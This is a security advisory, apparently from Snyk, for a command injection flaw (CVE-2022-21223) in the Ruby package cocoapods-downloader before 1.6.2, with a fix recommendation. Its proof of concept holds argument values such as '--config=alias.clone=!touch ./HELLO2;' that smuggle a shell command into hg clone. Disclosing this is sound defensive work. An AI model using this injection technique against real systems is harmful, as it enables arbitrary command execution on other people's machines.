Command Injection Affecting cocoapods-downloader package, versions <1.6.2


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.78% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-RUBY-COCOAPODSDOWNLOADER-2414280
  • published1 Apr 2022
  • disclosed2 Mar 2022
  • creditAlessio Della Libera of Snyk Research Team

Introduced: 2 Mar 2022

CVE-2022-21223  (opens in a new tab)
CWE-78  (opens in a new tab)
CWE-88  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade cocoapods-downloader to version 1.6.2 or higher.

Overview

cocoapods-downloader is an A small library for downloading files from remotes in a folder.

Affected versions of this package are vulnerable to Command Injection via hg argument injection. When calling the download function (when using hg), the url (and/or revision, tag, branch) is passed to the hg clone command in a way that additional flags can be set. The additional flags can be used to perform a command injection.

PoC

require 'cocoapods-downloader'

options = { :hg => '--config=alias.clone=!touch ./HELLO2;'}
downloader = Pod::Downloader.for_target("./", options)
downloader.download

options = { :hg => 'foo/bar', :revision => '--config=alias.clone=!touch ./HELLO3;'}
downloader = Pod::Downloader.for_target("./", options)
downloader.download


# ls -la

References

CVSS Base Scores

version 3.1